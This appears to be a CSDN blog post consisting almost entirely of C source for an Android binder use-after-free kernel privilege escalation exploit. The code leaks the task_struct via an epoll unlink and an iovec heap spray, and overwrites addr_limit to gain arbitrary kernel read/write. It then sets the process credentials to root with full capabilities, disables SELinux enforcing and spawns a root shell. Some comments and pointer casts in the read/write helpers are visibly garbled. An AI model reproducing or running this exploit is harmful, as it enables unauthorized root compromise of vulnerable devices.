【无标题】

本文介绍了一种通过利用特定漏洞实现的内核信息泄露和权限操作技术,包括任务结构指针劫持、地址限制覆盖和权限设置。作者逐步展示了从打开/dev/binder到触发unlink操作,再到喷射IOV引发漏洞的过程,并最终实现了对系统安全的潜在威胁。
摘要由CSDN通过智能技术生成

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdint.h>

void *dummy_page;
uint64_t task_struct_kptr, task_pid_kptr, task_cred_kptr, task_init_nsproxy_kptr, cred_kptr, init_nsproxy_kptr, kbase;
static char pipe_read_buffer[PAGE_SIZE];
int sock_fd[2];
int krw_pipe[2];
uint32_t read_pid;
int nBytesRead, nBytesWritten, binder_fd, epoll_fd, pipe_fd[2];
struct epoll_event event = {.events = EPOLLIN};

/* if you have ARM64 kernel comment X86_OFFSET and uncomment ARM_OFFSET */
//#define ARM_OFFSET 1
#define X86_OFFSET 1

#define IOVEC_SIZE 25
#define READ_PIPE pipe_fd[0]
#define WRITE_PIPE pipe_fd[1]
#define RECVMSG_SOCK sock_fd[0]
#define WRITE_SOCK sock_fd[1]
#define KREAD_PIPE krw_pipe[0]
#define KWRITE_PIPE krw_pipe[1]
#define BINDER_THREAD_EXIT 0x40046208ul
#define PIPE_READ_KPTR_OFFSET 0xE8
#define TASK_STRUCT_PID_OFFSET 0x4E8
#define TASK_STRUCT_CRED_OFFSET 0x688
#define TASK_STRUCT_NSPROXY_OFFSET 0x6C0

#define CRED_UID_OFFSET 0x4
#define CRED_GID_OFFSET 0x8
#define CRED_SUID_OFFSET 0xC
#define CRED_SGID_OFFSET 0x10
#define CRED_EUID_OFFSET 0x14
#define CRED_EGID_OFFSET 0x18
#define CRED_FSUID_OFFSET 0x1C
#define CRED_FSGID_OFFSET 0x20
#define CRED_SECUREBITS_OFFSET 0x24
#define CRED_CAP_INHERITABLE_OFFSET 0x28
#define CRED_CAP_PERMITTED_OFFSET 0x30
#define CRED_CAP_EFFECTIVE_OFFSET 0x38
#define CRED_CAP_BSET_OFFSET 0x40
#define CRED_CAP_AMBIENT_OFFSET 0x48

#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECUREBITS_DEFAULT 0x00000000
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET 0x3FFFFFFFFF

// this values may be different in your kernel image
// look at your symbol table

// System.map:
// ffffffff81433ab0 D init_nsproxy

// 0xffffffff81433ab0 - 0xffffffff80200000
#define SYMBOL_OFFSET_INIT_NSPROXY 0x1233800

// System.map:
// ffffffff816a9fe8 B selinux_enforcing

// 0xffffffff816a9fe8 - 0xffffffff80200000
#define SYMBOL_OFFSET_SELINUX_ENFORCING 0x14AA000

#ifdef X86_OFFSET
#define ADDR_LIMIT_OFFSET 0xA18
#endif
#ifdef ARM_OFFSET
#define ADDR_LIMIT_OFFSET 0x8
#endif

/* index equivalent to the iovec which overlaps the wait struct */
#define IOVEC_OVERLAP_INDEX 10

/*

  • every iovec is 16 bytes long
  • binder_thread is 408 bytes
  • so 400 as allocating size
  • for the heap spray is ok
    */
    struct iovec iovec[25] = {0};

/* needed to trigger the unlink */
int epoll_alloc() {
epoll_fd = epoll_create(0x41);
return 0;
}

/* needed to trigger the unlink */
int epoll_link() {
epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event);
return 0;
}

/* writes a kernel pointer to binder_thread->wait.head, to
binder_thread->wait.head.next and binder_thread->wait.head.prev */
int unlink_kptr_write() {
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
return 0;
}

/* free binder_thread struct */
int binder_thread_free() {
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
return 0;
}

int open_binder() {
binder_fd = open("/dev/binder", O_RDONLY);
return 0;
}

void *map_dummy_page() {
return mmap((void *)0x100000000ul, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}

void prepare_rw_pipe() {
if( pipe(krw_pipe) ) {
printf("\t[-] failed to create the pipes for stable r/w\n");
exit(-1);
} else {
printf("\t[+] successfully created the pipes for stable r/w\n");
}
}

void task_struct_leak() {
printf("\t[+] opening /dev/binder\n");
open_binder();

printf("\t[+] allocating epoll\n");
epoll_alloc();

printf("\t[+] linking epoll\n");
epoll_link();

printf("\t[+] setting up a pipe\n");
if( pipe(pipe_fd) ) {
    printf("\t[-] failed to allocate a pipe\n");
    exit(-1);
}

printf("\t[+] changing pipe size to 0x1000\n");
if (fcntl(READ_PIPE, F_SETPIPE_SZ, PAGE_SIZE) == -1) {
    printf("\t[-] unable to change the pipe capacity\n");
    exit(-1);
}

/* used later to unblock the write and avoid deadlocking */
printf("\t[+] allocating the dummy page\n");
dummy_page = map_dummy_page();

if(!dummy_page) {
    printf("\t[-] unable to mmap the dummy page\n");
    exit(-1);
}

printf("\t[+] crafting iovecs to leak task_struct\n");
iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page;
iovec[IOVEC_OVERLAP_INDEX].iov_len = PAGE_SIZE;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = PAGE_SIZE;

pid_t child = fork();

/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write
   the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail */
if (!child) {
    /* used to avoid race conditions */
    sleep(2);

    /* trigger the unlink to write the address of binder_thread->wait.head (offset 0xa8) to iovec[11].iov_base */
    unlink_kptr_write();

    /* dummy read */
    nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));

    if (nBytesRead != PAGE_SIZE) {
        printf("\t[-] child failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
        exit(-1);
    }
    close(WRITE_PIPE);
    exit(0);
}

/* free binder_thread struct */
binder_thread_free();

/* reallocates binder_thread with iovecs */
nBytesWritten = writev(WRITE_PIPE, iovec, IOVEC_SIZE);

/* writev() returns the size of the valid iovecs, we only provided two valid iovecs with size PAGE_SIZE */
if(nBytesWritten != PAGE_SIZE * 2) {
    printf("\t[-] something went wrong, writev() returned 0x%x\n", nBytesWritten);
    exit(-1);
}

/* iovec[11].iov_base has been overwritten with a kernel pointer at binder_thread + 0xa8
   so when the kernel start processing it to read the contents from it to give them to userspace
   it will read contents from the address at binder_thread + 0xA8 */
nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));

if (nBytesRead != PAGE_SIZE) {
    printf("\t[-] parent failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
    exit(-1);
}

wait(0);

/* the task_struct kptr is at offset 0xE8 */
task_struct_kptr = *(uint64_t *)(pipe_read_buffer + PIPE_READ_KPTR_OFFSET);
task_pid_kptr = task_struct_kptr + TASK_STRUCT_PID_OFFSET;
task_cred_kptr = task_struct_kptr + TASK_STRUCT_CRED_OFFSET;
printf("\t[+] leaked task_struct kernel pointer: 0x%lx\n", task_struct_kptr);
printf("\t[+] task_struct->pid @ 0x%lx\n", task_pid_kptr);
printf("\t[+] task_struct->cred @ 0x%lx\n", task_cred_kptr);

}

/* arbitrary write used to overwrite addr_limit */
void addr_limit_overwrite() {
/*printf("\t[+] opening /dev/binder\n");
open_binder();

printf("\t[+] allocating epoll\n");
epoll_alloc();*/

/* needed to trigger the unlink */
printf("\t[+] linking epoll\n");
epoll_link();

if(!dummy_page) {
    printf("\t[-] dummy page is NULL\n");
    exit(-1);
}

printf("\t[+] crafting socket data\n");

/* this is *so* important, this will overwrite iovecs (from iovec[10].iov_len to iovec[12].iov_len),
   we can achieve an arbitrary write by overwriting iovec[12].iov_base with the address we wanna write to
   and its iov_len with the size of the copy, so that when it'll be processed iovec[12].iov_len of data will be
   copied to its iov_base (that's how iovecs processing works) */
unsigned long final_sock_data[] = {
        0x1,                                        // iovec[IOVEC_OVERLAP_INDEX].iov_len
        0x41414141,                                 // iovec[IOVEC_OVERLAP_INDEX + 1].iov_base
        0x8 + 0x8 + 0x8 + 0x8,                      // iovec[IOVEC_OVERLAP_INDEX + 1].iov_len
        task_struct_kptr + ADDR_LIMIT_OFFSET,       // iovec[IOVEC_OVERLAP_INDEX + 2].iov_base
        0x8,                                        // iovec[IOVEC_OVERLAP_INDEX + 2].iov_len
        0xFFFFFFFFFFFFFFFE                          // addr_limit value to write
};

printf("\t[+] crafting iovecs which are gonna be overwrote later\n");
iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page;
iovec[IOVEC_OVERLAP_INDEX].iov_len = 1;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141;
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
iovec[IOVEC_OVERLAP_INDEX + 2].iov_base = (void *) 0x42424242;
iovec[IOVEC_OVERLAP_INDEX + 2].iov_len = 0x8;

/* garbage data */
char garbage_data[] = { 0x41 };

printf("\t[+] setting up a socketpair\n");
if( socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1 ) {
    printf("\t[-] failed to create socketpair\n");
    exit(-1);
}

/* needed to "init" recvmsg() */
printf("\t[+] writing garbage to the socket\n");
nBytesWritten = write(WRITE_SOCK, &garbage_data, sizeof(garbage_data));

if(nBytesWritten != sizeof(garbage_data)) {
    printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(garbage_data));
    exit(-1);
}

pid_t child = fork();

/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write
   the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail */
if (!child) {
    /* used to avoid race conditions */
    sleep(2);

    /* writes iovec[10].iov_len address to itself and iovec[11].iov_base, so
       now iovec[11].iov_base points to iovec[10].iov_len, which means that when it'll be processed
       it'll start overwriting the iovecs with socket data */
    unlink_kptr_write();

    /* now all iovecs will be processed, but since the unlink overwrote iovec[11].iov_base with the address
       of iovec[10].iov_len, when processing of iovec[11] will start, socket data will be written to iovec[10].iov_len
       this will overwrite iovec[12].iov_base and iovec[12].iov_len with socket data, respectively the address of 
       addr_limit and 0x8 (since we wanna write 8 bytes to addr_limit).
       so after iovec[11]'s processing finished, and iovecs have been overwritten, it'll start processing iovec[12]
       but since its iov_base has been overwritten with addr_limit address, data (last field of socket data) will be written there */
    nBytesWritten = write(WRITE_SOCK, final_sock_data, sizeof(final_sock_data));

    /* ensures that the write has been correctly done */
    if (nBytesWritten != sizeof(final_sock_data)) {
        printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(final_sock_data));
        exit(-1);
    }
    exit(0);
}

/* free binder_thread struct which is gonna be reallocated by the child's write() */
binder_thread_free();

struct msghdr message = {0};
message.msg_iov = iovec;
message.msg_iovlen = IOVEC_SIZE;

/* this reallocates the binder_thread struct with our iovecs */
int received_bytes_addr_limit = recvmsg(RECVMSG_SOCK, &message, MSG_WAITALL);

int expected_bytes_addr_limit = iovec[IOVEC_OVERLAP_INDEX].iov_len +
                                iovec[IOVEC_OVERLAP_INDEX + 1].iov_len +
                                iovec[IOVEC_OVERLAP_INDEX + 2].iov_len;

/* as we done in the leak part, the received bytes should match the sum of the size
   of all valid iovecs, in this case we have 3 valid iovecs */
if(received_bytes_addr_limit != expected_bytes_addr_limit) {
    printf("\t[-] recvmsg() wasn't able to overwrite addr_limit: returned 0x%x instead of 0x%x\n", received_bytes_addr_limit, expected_bytes_addr_limit);
    exit(-1);
}
wait(0);
printf("\t[+] overwrote addr_limit with 0xFFFFFFFFFFFFFFFE\n");

}

int kwrite(uint64_t kaddr, void* user_value, size_t size) {
/* doing this to avoid possible issues /
if(size > 0x1000) {
printf("\t[-] writing more than a kernel page can cause issues\n");
}
/
writes user’s value to pipe /
if( write(KWRITE_PIPE, user_value, size) == -1 ) {
printf("\t[-] failed to write the value to the pipe\n");
return -1;
}
/
writes the user’s value we wrote to the pipe to the kaddr */
if( read(KREAD_PIPE, (void *)kaddr, size) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}

int kread(uint64_t kaddr, void user_value, size_t size) {
/
doing this to avoid possible issues /
if(size > 0x1000) {
printf("\t[-] reading more than a kernel page can cause issues\n");
}
/
writes kernel data to pipe /
if( write(KWRITE_PIPE, (void
)kaddr, size) != size ) {
printf("\t[-] failed to read kernel data\n");
return -1;
}
/* writes the value we wrote to the pipe to the kaddr */
if( read(KREAD_PIPE, user_value, size) != size ) {
printf("\t[-] failed to read data back to userspace\n");
return -1;
}
return 0;
}

int kwrite64(uint64_t kaddr, uint64_t value) {
if( kwrite(kaddr, &value, 8) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}

uint64_t kread64(uint64_t kaddr) {
uint64_t read_value;
if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to write to read memory\n");
return -1;
}
return read_value;
}

int kwrite32(uint64_t kaddr, uint32_t value) {
if( kwrite(kaddr, &value, 4) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1;
}
return 0;
}

uint64_t kread32(uint64_t kaddr) {
uint32_t read_value;
if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to read to read memory\n");
return -1;
}
return read_value;
}

void krw_test() {
pid_t current_pid = getpid();
printf("\t[+] reading the pid @ 0x%lx\n", task_pid_kptr);
if( (read_pid = kread64(task_pid_kptr)) == -1) {
printf("\t[-] failed to read the task_struct->pid: returned %d\n", read_pid);
exit(-1);
}
printf("\t[+] task_struct->pid: 0%d\n", read_pid);
printf("\t[+] getpid(): %d\n", current_pid);
}

void kernel_cred_patch() {
printf("\t[+] reading cred pointer from task_struct\n");
cred_kptr = kread64(task_cred_kptr);

/* basically commit_cred(prepare_kernel_cred(0)); */
kwrite32(cred_kptr + CRED_UID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_GID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_SUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_SGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_EUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_EGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_FSUID_OFFSET, GLOBAL_ROOT_UID);
kwrite32(cred_kptr + CRED_FSGID_OFFSET, GLOBAL_ROOT_GID);
kwrite32(cred_kptr + CRED_SECUREBITS_OFFSET, SECUREBITS_DEFAULT);
kwrite64(cred_kptr + CRED_CAP_INHERITABLE_OFFSET, CAP_EMPTY_SET);
kwrite64(cred_kptr + CRED_CAP_PERMITTED_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_EFFECTIVE_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_BSET_OFFSET, CAP_FULL_SET);
kwrite64(cred_kptr + CRED_CAP_AMBIENT_OFFSET, CAP_EMPTY_SET);

}

/* this part has to be tuned for the target */
void disable_selinux_enforcing() {
printf("\t[+] reading init_nsproxy pointer from task_struct\n");
init_nsproxy_kptr = kread64(task_init_nsproxy_kptr);

kbase = init_nsproxy_kptr - SYMBOL_OFFSET_INIT_NSPROXY;
printf("\t[+] kernel base: 0x%lx\n", kbase);

uint64_t selinux_enforcing_kptr = kbase + SYMBOL_OFFSET_SELINUX_ENFORCING;
int ret = kread32(selinux_enforcing_kptr);
if( ret && ret != -1 ) {
    printf("\t[+] SELinux enforcing is enabled\n");
    if( !kwrite32(selinux_enforcing_kptr, 0x0) ) {
        printf("\t[+] successfully disabled SELinux enforcing\n");
    }
} else if(ret == 0) {
    printf("\t[+] SELinux enforcing is disabled\n");
}

}

int main() {
printf("[*] STAGE 1: task_struct leak\n");
task_struct_leak();

printf("[*] STAGE 2: overwrite addr_limit with 0xFFFFFFFFFFFFFFFE\n");
addr_limit_overwrite();

printf("[*] STAGE 3: preparing pipes for stable r/w\n");
prepare_rw_pipe();

printf("[*] STAGE 3: testing out stable r/w primitives\n");
krw_test();

printf("[*] STAGE 4: patching cred struct\n");
kernel_cred_patch();

printf("[*] STAGE 5: disable SELinux enforcing\n");
disable_selinux_enforcing();

system("/bin/sh");

return 0;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值